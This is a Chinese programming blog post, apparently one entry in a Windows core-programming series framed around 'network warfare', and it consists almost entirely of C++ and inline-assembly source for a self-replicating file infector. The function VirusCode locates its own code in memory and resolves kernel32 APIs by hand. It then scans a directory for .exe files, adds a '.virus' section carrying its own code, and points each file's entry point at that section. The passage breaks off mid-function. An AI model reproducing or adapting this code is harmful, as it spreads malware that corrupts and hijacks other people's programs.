基于visual c++之windows核心编程代码分析（65）实现程序自我复制

我们进行信息安全与网络战编程的时候，经常需要实现程序的自我复制，

我们如何实现程序的自我复制呢，

请见代码

[cpp] view plain copy print ?

1. #include <iostream.h> 
2. #include <windows.h> 
3. #include <stdio.h> 
4.  
5. // 
6. //******************************************************************* 
7. //*******以下为程序代码******* 
8. //*******此段代码首先动态获取API入口地址 
9. //*******然后实现代码的自我复制 
10. //******************************************************************* 
11. // 
12. void VirusCode() 
13. { 
14.     // 
15.     //  *******以下代码用于获取本函数在内存中的起始地址******* 
16.     //  *******本函数功能相对独立******* 
17.     // 
18.     // 
19.     //  *******变量说明******* 
20.     //  **dwCodeBegin   :本函数的开始地址 
21.     //  **dwCodeEnd     :本函数的结束地址 
22.     //  **dwMyCodeAddr  :自己写的代码的开始地址 
23.     // 
24.     DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr; 
25.      
26.     //  *******指针变量******* 
27.     PBYTE pMove = NULL; 
28.      
29.     //  *******动态获取自己写的代码的开始地址******* 
30.     _asm 
31.     { 
32.         call    A 
33. A: 
34.         pop     eax 
35.              
36.         mov     dwMyCodeAddr , eax 
37.     } 
38.      
39.     //  *******把地址赋给变量******* 
40.     pMove = (PBYTE)dwMyCodeAddr; 
41.      
42.     //  *******向前搜索得到函数的真正入口地址******* 
43.     while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B))) 
44.     { 
45.         pMove --; 
46.     } 
47.      
48.     //  *******此时pMove指向函数的入口push ebp处******* 
49.     dwCodeBegin = (DWORD)pMove; 
50.      
51.     //cout << "开始地址为：" << hex << dwCodeBegin << endl; 
52.      
53.     //  *******从自己写的代码处向后搜索******* 
54.     pMove = (PBYTE)dwMyCodeAddr; 
55.      
56.     while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)
57.             && (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5))) 
58.     { 
59.         pMove ++; 
60.     } 
61.      
62.     pMove += 9; 
63.     //  *******此时pMove指向ret的前一条指令pop ebp处******* 
64.     dwCodeEnd = (DWORD)pMove; 
65.  
66.     DWORD dwFunCodeLen; 
67.     dwFunCodeLen = dwCodeEnd - dwCodeBegin; 
68.  
69.     // 
70.     //  *******上面为获取本函数的起始与结束地址******* 
71.     // 
72.  
73.     // 
74.     // 
75.     //  *******下面动态获取API入口地址 
76.     // 
77.     // 
78.  
79.     //  *******定义用到的字符串******* 
80.     char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'}; 
81.     char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'}; 
82.      
83.     DWORD KernelBase; 
84.     //  *******获取本程序结束后的返回地址，此地址必须在开始处获得******* 
85.     _asm 
86.     { 
87.         mov eax , [ebp+4] 
88.             mov KernelBase,eax 
89.     } 
90.  
91.     // 
92.     //  *******以下通过变换得到Kernel32.dll的基址******* 
93.     // 
94.     KernelBase = KernelBase & 0Xffff0000; 
95.      
96.     //  *******检查是否到了kernel32.dll的装载基址******* 
97.     IMAGE_DOS_HEADER *doshead; 
98.      
99.     while(KernelBase >= 0X70000000) 
100.     { 
101.         //  *******首先检查dos文件头******* 
102.         doshead = (IMAGE_DOS_HEADER*)KernelBase; 
103.         if(doshead->e_magic == IMAGE_DOS_SIGNATURE) 
104.         { 
105.             //  *******再检查NT文件头******* 
106.             IMAGE_NT_HEADERS* nthead; 
107.             nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew); 
108.             if(nthead->Signature == IMAGE_NT_SIGNATURE) 
109.             { 
110.                 break; 
111.             } 
112.         } 
113.         KernelBase-=0x10000; 
114.     } 
115.  
116.     // 
117.     //  *******以下通过搜索kernel32.dll得到GetProcAddress的地址******* 
118.     // 
119.  
120.     DWORD AddrOfGetProcAddr , AddrOfLoadLib; 
121.     IMAGE_DOS_HEADER* pFile1;   //指向dos文件头 
122.     IMAGE_NT_HEADERS* pFile2;   //指向nt文件头 
123.      
124.     //  *******检查文件的合法性******* 
125.     pFile1 = (IMAGE_DOS_HEADER* )KernelBase; 
126.     if(pFile1->e_magic != IMAGE_DOS_SIGNATURE) 
127.     { 
128.         return; 
129.     } 
130.     pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew); 
131.     if(pFile2->Signature != IMAGE_NT_SIGNATURE) 
132.     { 
133.         return; 
134.     } 
135.      
136.     IMAGE_EXPORT_DIRECTORY *pExport; 
137.     pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress); 
138.      
139.     //  *******以下在导出表中搜索名字为"GetProcAddress"的函数地址******* 
140.     char *FunName; 
141.     DWORD *AddrOfNameRVA; 
142.     WORD *AddrOfNameOrRVA; 
143.      
144.     AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames); 
145.     for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++) 
146.     { 
147.         FunName = (char*)(KernelBase + AddrOfNameRVA[i]); 
148.  
149.         //  *******函数名与字符串"GetProcAddress"进行比较******* 
150.         BOOL eql = 1; 
151.         for (int j = 0 ; j < 15 ; j ++) 
152.         { 
153.             if (GetProcAddrName[j] != FunName[j]) 
154.             { 
155.                 eql = 0; 
156.                 break; 
157.             } 
158.         } 
159.         //  *******如果字符串相等了，说明找到了******* 
160.         if (eql) 
161.         { 
162.             AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals); 
163.              
164.             int num = 0; 
165.              
166.             num = pExport->Base + AddrOfNameOrRVA[i]; 
167.              
168.             DWORD *AddrOfFun; 
169.              
170.             AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions); 
171.             AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1]; 
172.              
173.             break; 
174.         } 
175.     } 
176.  
177.     // 
178.     // 
179.     //  *******以下集中获取要用到的API入口地址******* 
180.     // 
181.     // 
182.  
183.     //  *******定义GetProcAddress函数类型******* 
184.     typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR); 
185.      
186.     //  *******定义LoadLibraryA函数地址******* 
187.     typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR); 
188.  
189.     //  *******调用GetProcAddress获取LoadLibrary地址******* 
190.     //  *******定义GetProcAddress函数变量******* 
191.     stGetProcAddress myGetProcAddress; 
192.      
193.     //  *******给函数赋地址******* 
194.     myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr; 
195.      
196.     //  *******调用GetProcAddress******* 
197.     AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName); 
198.      
199.     //  *******定义LoadLibrary函数变量******* 
200.     stLoadLibrary myLoadLibrary; 
201.      
202.     //  *******给函数赋地址******* 
203.     myLoadLibrary = (stLoadLibrary)AddrOfLoadLib; 
204.      
205.     char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'}; 
206.     DWORD User32Base;   //存放user32.dll的基址 
207.      
208.     //  *******得到user32.dll的基址******* 
209.     User32Base = myLoadLibrary(User32Name); 
210.      
211.     // 
212.     //  *****获取CreateFile函数地址***** 
213.     // 
214.     //  *****首先定义函数类型***** 
215.     typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES ,  
216.                             DWORD , DWORD , HANDLE); 
217.     //  *****定义函数变量***** 
218.     stCreateFile myCreateFile; 
219.  
220.     //  *****定义函数名称字符串***** 
221.     char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'}; 
222.  
223.     //  *****获得函数地址***** 
224.     myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName); 
225.  
226.  
227.     // 
228.     //  *****获取CreateFileMapping函数地址***** 
229.     // 
230.     //  *****首先定义函数类型***** 
231.     typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,  
232.         DWORD , DWORD , DWORD , LPCTSTR ); 
233.  
234.     //  *****定义函数变量***** 
235.     stCreateFileMapping myCreateFileMapping; 
236.  
237.     //  *****定义函数名称字符串***** 
238.     char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e', 
239.                                     'M','a','p','p','i','n','g','A','\0'}; 
240.  
241.     //  *****获得函数地址***** 
242.     myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,  
243.                             CreateFileMappingName); 
244.      
245.  
246.     // 
247.     //  *****获取MapViewOfFile函数地址***** 
248.     // 
249.     //  *****首先定义函数类型***** 
250.     typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD); 
251.  
252.     //  *****定义函数变量***** 
253.     stMapViewOfFile myMapViewOfFile; 
254.      
255.     //  *****定义函数名称字符串***** 
256.     char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; 
257.      
258.     //  *****获得函数地址***** 
259.     myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,  
260.                                                         MapViewOfFileName); 
261.  
262.  
263.     // 
264.     //  *****获取GlobalAlloc函数地址***** 
265.     // 
266.     //  *****首先定义函数类型***** 
267.     typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T); 
268.  
269.     //  *****定义函数变量***** 
270.     stGlobalAlloc myGlobalAlloc; 
271.      
272.     //  *****定义函数名称字符串***** 
273.     char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'}; 
274.      
275.     //  *****获得函数地址***** 
276.     myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,  
277.                                                         GlobalAllocName); 
278.  
279.  
280.  
281.     // 
282.     //  *****获取RtlMoveMemory函数地址***** 
283.     // 
284.     //  *****首先定义函数类型***** 
285.     typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T ); 
286.      
287.     //  *****定义函数变量***** 
288.     stRtlMoveMemory myRtlMoveMemory; 
289.      
290.     //  *****定义函数名称字符串***** 
291.     char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'}; 
292.      
293.     //  *****获得函数地址***** 
294.     myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,  
295.                                                         RtlMoveMemoryName); 
296.  
297.  
298.  
299.  
300.     // 
301.     //  *****获取SetFilePointer函数地址***** 
302.     // 
303.     //  *****首先定义函数类型***** 
304.     typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD); 
305.      
306.     //  *****定义函数变量***** 
307.     stSetFilePointer mySetFilePointer; 
308.      
309.     //  *****定义函数名称字符串***** 
310.     char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'}; 
311.      
312.     //  *****获得函数地址***** 
313.     mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,  
314. SetFilePointerName);
315.  
316.  
317.     // 
318.     //  *****获取WriteFile函数地址***** 
319.     // 
320.     //  *****首先定义函数类型***** 
321.     typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED); 
322.      
323.     //  *****定义函数变量***** 
324.     stWriteFile myWriteFile; 
325.      
326.     //  *****定义函数名称字符串***** 
327.     char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'}; 
328.      
329.     //  *****获得函数地址***** 
330.     myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,  
331.                                                         WriteFileName); 
332.  
333.  
334.     // 
335.     //  *****获取SetEndOfFile函数地址***** 
336.     // 
337.     //  *****首先定义函数类型***** 
338.     typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE); 
339.  
340.     //  *****定义函数变量***** 
341.     stSetEndOfFile mySetEndOfFile; 
342.      
343.     //  *****定义函数名称字符串***** 
344.     char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'}; 
345.      
346.     //  *****获得函数地址***** 
347.     mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,  
348.                                                         SetEndOfFileName); 
349.  
350.  
351.     // 
352.     //  *****获取CloseHandle函数地址***** 
353.     // 
354.     //  *****首先定义函数类型***** 
355.     typedef BOOL (WINAPI *stCloseHandle)(HANDLE); 
356.  
357.     //  *****定义函数变量***** 
358.     stCloseHandle myCloseHandle; 
359.      
360.     //  *****定义函数名称字符串***** 
361.     char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; 
362.      
363.     //  *****获得函数地址***** 
364.     myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,  
365.                                                         CloseHandleName); 
366.  
367.  
368.     // 
369.     //  *****获取UnmapViewOfFile函数地址***** 
370.     // 
371.     //  *****首先定义函数类型***** 
372.     typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID); 
373.  
374.  
375.     //  *****定义函数变量***** 
376.     stUnmapViewOfFile myUnmapViewOfFile; 
377.      
378.     //  *****定义函数名称字符串***** 
379.     char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; 
380.      
381.     //  *****获得函数地址***** 
382.     myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,  
383. UnmapViewOfFileName);
384.  
385.  
386.     // 
387.     //  *****获取FindFirstFile函数地址***** 
388.     // 
389.     //  *****首先定义函数类型***** 
390.     typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA); 
391.  
392.  
393.     //  *****定义函数变量***** 
394.     stFindFirstFile myFindFirstFile; 
395.      
396.     //  *****定义函数名称字符串***** 
397.     char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'}; 
398.      
399.     //  *****获得函数地址***** 
400.     myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,  
401.                                                         FindFirstFileName); 
402.  
403.  
404.     // 
405.     //  *****获取CopyFile函数地址***** 
406.     // 
407.     //  *****首先定义函数类型***** 
408.     typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL); 
409.  
410.  
411.     //  *****定义函数变量***** 
412.     stCopyFile myCopyFile; 
413.      
414.     //  *****定义函数名称字符串***** 
415.     char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'}; 
416.      
417.     //  *****获得函数地址***** 
418.     myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,  
419.                                                         CopyFileName); 
420.  
421.  
422.     // 
423.     //  *****获取FindNextFile函数地址***** 
424.     // 
425.     //  *****首先定义函数类型***** 
426.     typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA); 
427.  
428.     //  *****定义函数变量***** 
429.     stFindNextFile myFindNextFile; 
430.      
431.     //  *****定义函数名称字符串***** 
432.     char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'}; 
433.      
434.     //  *****获得函数地址***** 
435.     myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,  
436.                                                         FindNextFileName); 
437.  
438.  
439.     // 
440.     //  *****获取FindClose函数地址***** 
441.     // 
442.     //  *****首先定义函数类型***** 
443.     typedef BOOL (WINAPI *stFindClose)(HANDLE);  
444.  
445.     //  *****定义函数变量***** 
446.     stFindClose myFindClose; 
447.      
448.     //  *****定义函数名称字符串***** 
449.     char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'}; 
450.      
451.     //  *****获得函数地址***** 
452.     myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,  
453.                                                         FindCloseName); 
454.  
455.  
456.     // 
457.     //  *****获取lstrcat函数地址***** 
458.     // 
459.     //  *****首先定义函数类型***** 
460.     typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR , LPTSTR); 
461.  
462.     //  *****定义函数变量***** 
463.     stlstrcat mylstrcat; 
464.      
465.     //  *****定义函数名称字符串***** 
466.     char lstrcatName[] = {'l','s','t','r','c','a','t','\0'}; 
467.      
468.     //  *****获得函数地址***** 
469.     mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,  
470.                                                         lstrcatName); 
471.  
472.  
473.     // 
474.     //  *****获取lstrcpy函数地址***** 
475.     // 
476.     //  *****首先定义函数类型***** 
477.     typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR); 
478.  
479.     //  *****定义函数变量***** 
480.     stlstrcpy mylstrcpy; 
481.      
482.     //  *****定义函数名称字符串***** 
483.     char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'}; 
484.      
485.     //  *****获得函数地址***** 
486.     mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,  
487.                                                         lstrcpyName); 
488.  
489.  
490.     // 
491.     //  *****获取lstrlen函数地址***** 
492.     // 
493.     //  *****首先定义函数类型***** 
494.     typedef int (WINAPI *stlstrlen)(LPCTSTR); 
495.  
496.     //  *****定义函数变量***** 
497.     stlstrlen mylstrlen; 
498.      
499.     //  *****定义函数名称字符串***** 
500.     char lstrlenName[] = {'l','s','t','r','l','e','n','\0'}; 
501.      
502.     //  *****获得函数地址***** 
503.     mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,  
504.                                                         lstrlenName); 
505.  
506.  
507.     // 
508.     //  *****获取RtlZeroMemory函数地址***** 
509.     // 
510.     //  *****首先定义函数类型***** 
511.     typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T); 
512.      
513.     //  *****定义函数变量***** 
514.     stRtlZeroMemory myRtlZeroMemory; 
515.      
516.     //  *****定义函数名称字符串***** 
517.     char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'}; 
518.      
519.     //  *****获得函数地址***** 
520.     myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase ,  
521.                                                         RtlZeroMemoryName); 
522.  
523.     // 
524.     // 
525.     //  *******以上集中获取用到的API******* 
526.     // 
527.     // 
528.  
529.     // 
530.     // 
531.     //  *******下面为搜索并自我复制的代码******* 
532.     // 
533.     // 
534.  
535.      
536.     //  *******搜索的带过滤条件的源目录******* 
537.     char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'}; 
538.  
539.     //  *******不带条件的源目录******* 
540.     char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'}; 
541.  
542.     //  *******要复制的目录******* 
543.     char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'}; 
544.  
545.     WIN32_FIND_DATA findBuf; 
546.  
547.     //  *******进行第一次搜索******* 
548.     HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf); 
549.      
550.     //  *******申请缓冲区，用于存放源文件的完整目录＋文件名******* 
551.     char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH); 
552.  
553.     //  *******申请缓冲区，用于存放目的文件的完整目录＋文件名******* 
554.     char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH); 
555.  
556.     //  *******对每一个文件进行复制感染操作******* 
557.     do  
558.     { 
559.         //  *******缓冲区清空******* 
560.         myRtlZeroMemory(SourDirNameBuf , MAX_PATH); 
561.         myRtlZeroMemory(DestDirNameBuf , MAX_PATH); 
562.  
563.         //  *******把源目录放在缓冲区中******* 
564.         mylstrcpy(SourDirNameBuf , SourceDir); 
565.  
566.         //  *******把搜索到的文件名添加在源目录后面******* 
567.         mylstrcat(SourDirNameBuf , findBuf.cFileName); 
568.  
569.         //  *******把目的目录放在缓冲区中******* 
570.         mylstrcpy(DestDirNameBuf , DestDir); 
571.  
572.         //  *******把搜索到的文件名添加在源目录后面******* 
573.         mylstrcat(DestDirNameBuf , findBuf.cFileName); 
574.  
575.  
576.         // 
577.         //  *******以下对每一个文件感染******* 
578.         // 
579.         HANDLE hFile , hMapFile; 
580.         LPVOID pMapOfFile = NULL; 
581.          
582.         char SecName[] = {'.','v','i','r','u','s','\0'};    //新添加的节名 
583.  
584.         // 
585.         //*******检测文件合法性******* 
586.         // 
587.         //  *******打开文件******* 
588.         hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ |  
589.             FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
590.          
591.         if (INVALID_HANDLE_VALUE == hFile) 
592.         { 
593.             goto TheNextFile; 
594.         } 
595.          
596.         //  *******创建文件映射******* 
597.         hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); 
598.          
599.         if (!hMapFile) 
600.         { 
601.             goto CLOSEFILEHANDLE; 
602.         } 
603.          
604.         //  *******把文件映射到内存中******* 
605.         pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); 
606.          
607.         if (!pMapOfFile) 
608.         { 
609.             goto CLOSEMAPHANDLE; 
610.         } 
611.          
612.         IMAGE_DOS_HEADER *pDosHeader; 
613.          
614.         //  ********检测DOS文件头******* 
615.         pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; 
616.          
617.         if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 
618.         { 
619.             goto FreeViewOfMap; 
620.         } 
621.          
622.         IMAGE_NT_HEADERS *pNtHeader; 
623.          
624.         //  *******检测NT文件头******* 
625.         pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); 
626.          
627.         if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) 
628.         { 
629.             goto FreeViewOfMap; 
630.         } 
631.  
632.         // 
633.         //  *******检测感染标记******* 
634.         // 
635.         //  *******得到该文件的节表数******* 
636.         int SecNum; 
637.         SecNum = pNtHeader->FileHeader.NumberOfSections; 
638.  
639.         //  *******定位到节表开始处******* 
640.         IMAGE_SECTION_HEADER *pSecHeader; 
641.         pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248); 
642.  
643.         int i ; 
644.         //  *******循环扫描各个节表，如果有节的名字为virus则说明已经被感染过******* 
645.         for (i = 0 ; i < SecNum ; i ++) 
646.         { 
647.             char *SecNameAddr = (char*)pSecHeader->Name; 
648.              
649.             if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') &&  
650.                 (SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') && 
651.                 (SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's')) 
652.             { 
653.                 //  *******直接退出******* 
654.                 goto FreeViewOfMap; 
655.             } 
656.             //  *******查看下一个节表******* 
657.             pSecHeader ++; 
658.         } 
659.  
660.  
661.         // 
662.         //*******准备工作******* 
663.         // 
664.         BOOL bCopy; 
665.          
666.         //  *******首先把要添加程序代码的文件复制一份******* 
667.         bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE); 
668.  
669.         if (!bCopy) 
670.         { 
671.             goto FreeViewOfMap; 
672.         } 
673.          
674.         HANDLE hNewFile; 
675.  
676.         //  *******打开刚刚复制的文件******* 
677.         hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ  
678.             | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
679.          
680.         if (!hNewFile) 
681.         { 
682.             goto FreeViewOfMap; 
683.         } 
684.          
685.         HGLOBAL pNewFileHeader; 
686.          
687.         //  *******为新文件的文件头申请一块内存，用于修改文件头信息******* 
688.         pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); 
689.          
690.         if (!pNewFileHeader) 
691.         { 
692.             goto CloseNewFileHandle; 
693.         } 
694.          
695.         //  *******用原文件头填充这块内存******* 
696.         myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); 
697.          
698.         //  *******定义一个变量指向新内存的NT文件头处******* 
699.         IMAGE_NT_HEADERS *pNewFileNtHeader; 
700.          
701.         pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); 
702.  
703.          
704.         // 
705.         //*******此时的指针信息******* 
706.         //*******pMapOfFile         :   原映射文件的开始 
707.         //*******pDosHeader         :   原映射文件的DOS头,也就是文件开始，只不过类型不一样 
708.         //*******pNTHeader          :   原映射文件的NT头 
709.         //*******pNewFileHeader     :   新文件的开始 
710.         //*******pNewFileNtHeader   :   新文件的NT头 
711.         // 
712.         //**************************************************************** 
713.         //*******修改新文件的节表信息******* 
714.         //**************************************************************** 
715.         int nSecNum; 
716.         nSecNum = pNtHeader->FileHeader.NumberOfSections; 
717.         IMAGE_SECTION_HEADER *pLastSec , *pNewSec; 
718.          
719.         //  *******定位到原文件中的最后一个节表******* 
720.         pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) 
721.             + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); 
722.          
723.         //  *******pNewSec为最后一个节表的结尾处，也就是新加节表的开头******* 
724.         pNewSec = pLastSec + 1; 
725.          
726.         //*******修改新增节表的相关信息******* 
727.         //*****节表总数加1***** 
728.         pNewFileNtHeader->FileHeader.NumberOfSections ++; 
729.          
730.         //*****修改新节的文件偏移***** 
731.         pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; 
732.          
733.         //*****修改新节的文件尺寸***** 
734.         int nAlignNum; 
735.          
736.         nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; 
737.         if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) 
738.         { 
739.             nAlignNum++; 
740.         } 
741.         pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; 
742.          
743.         //*****修改所有代码长度按内存页对齐后的大小***** 
744.         nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; 
745.         if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
746.         { 
747.             nAlignNum ++; 
748.         } 
749.         pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *  
750.             pNewFileNtHeader->OptionalHeader.SectionAlignment; 
751.          
752.         //*****修改文件内存映像尺寸***** 
753.         pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *  
754.             pNewFileNtHeader->OptionalHeader.SectionAlignment; 
755.          
756.         //*****修改新节的内存偏移量***** 
757.         //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** 
758.         nAlignNum = pLastSec->Misc.VirtualSize /  
759.             pNewFileNtHeader->OptionalHeader.SectionAlignment; 
760.         if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
761.         { 
762.             nAlignNum ++; 
763.         } 
764.         pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment  
765.             + pLastSec->VirtualAddress; 
766.          
767.         //*****修改新节的内存尺寸***** 
768.         pNewSec->Misc.VirtualSize = dwFunCodeLen; 
769.          
770.         //*****更新新节属性***** 
771.         pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |  
772.             IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; 
773.          
774.         //*****更新节名***** 
775.         mylstrcpy((char*)pNewSec->Name , SecName); 
776.          
777.         //*****更新入口地址***** 
778.         pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; 
779.          
780.         BOOL bWrite; 
781.         DWORD dwHeaderSize , dwWriten; 
782.         dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); 
783.         bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize ,  
784.                                 &dwWriten , NULL); 
785.          
786.         // 
787.         //*****向文件中添加程序代码***** 
788.         // 
789.         DWORD dwSetFileP; 
790.          
791.         //*****定位到新文件中新节开始处***** 
792.         dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); 
793.         if (!dwSetFileP) 
794.         { 
795.             goto CloseNewFileHandle; 
796.         } 
797.          
798.         //*****写入程序代码***** 
799.         bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL); 
800.         if (!bWrite) 
801.         { 
802.             goto CloseNewFileHandle; 
803.         } 
804.          
805.         //*****定位到文件尾部***** 
806.         dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData +  
807.             pNewSec->SizeOfRawData , NULL , FILE_BEGIN); 
808.         if (!dwSetFileP) 
809.         { 
810.             goto CloseNewFileHandle; 
811.         } 
812.          
813.         //*****设定文件结束***** 
814.         if (!mySetEndOfFile(hNewFile)) 
815.         { 
816.             goto CloseNewFileHandle; 
817.         } 
818.  
819.         // 
820.         //*******修正原入口地址******* 
821.         // 
822.         PBYTE pModifyAddr; 
823.         pModifyAddr = (PBYTE)pNewSec->VirtualAddress; 
824.          
825.         pModifyAddr += dwFunCodeLen; 
826.          
827.         int nSub;    //跳转的距离 
828.         nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; 
829.          
830.         DWORD dwModifyLoca; 
